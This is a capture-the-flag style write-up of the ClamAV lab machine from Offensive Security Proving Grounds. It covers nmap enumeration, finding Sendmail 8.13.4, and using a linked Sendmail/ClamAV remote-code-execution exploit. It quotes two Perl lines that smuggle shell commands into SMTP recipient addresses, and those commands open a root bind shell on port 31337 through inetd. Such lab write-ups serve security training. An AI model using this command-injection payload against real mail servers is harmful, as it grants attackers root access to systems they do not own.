> For the complete documentation index, see [llms.txt](https://pentesting.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.zeyu2001.com/proving-grounds/warm-up/clamav.md).

# ClamAV

Writeup for ClamAV from Offensive Security Proving Grounds (PG)

## Information Gathering

### Service Enumeration

`nmapAutomator.sh -H 192.168.66.42 -t full`

`nmapAutomator.sh -H 192.168.66.42 -t vulns`

### HTTP (80)

There is a page with a binary message.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MaczfSrZf1bh8OtU4h9%2F3342f2f11cfc42618aa17e3eb8bba819.png?alt=media\&token=3487462d-38ce-4e51-9f6d-d29b2e1d6b80)

Challenge accepted!

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MaczdpIlJcnAJtBlVzg%2Fd5281477516244f9be04e9f9667f8fff.png?alt=media\&token=9a130c1b-e5fc-4856-8e9b-3ae1f782234c)

### SMTP (25)

We can see that Sendmail 8.13.4 is used.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MaczxUgBNv2CmJMWv4a%2Fc33c363b72e9469b918f7ec5954f33e8.png?alt=media\&token=ffa9c440-c357-4de1-ae0f-000c572467bf)

## Exploitation

We find the following Sendmail + ClamAV RCE exploit:

{% embed url="<https://www.exploit-db.com/exploits/4761>" %}

The two lines in the Perl script:

```perl
print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf\"@localhost>\r\n";
print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"@localhost>\r\n";
```

appear to open port 31337 as a root shell.

After running the script, the port is indeed open.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad-5ti1gQBEUM0D3Wv%2Fec04a5882dc94178865b659ca2d9f8d1.png?alt=media\&token=ac7e6807-8dbd-4564-9e2e-c37ec0379273)

Upon connecting to the bind shell, use `bash -i` to upgrade to a fully interactive shell.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad-KOdVd5e8rq-RMra%2F546f313076fa47fe9238f4bf46edd627.png?alt=media\&token=45c8b8d7-df6b-43af-9f91-823d2dc32277)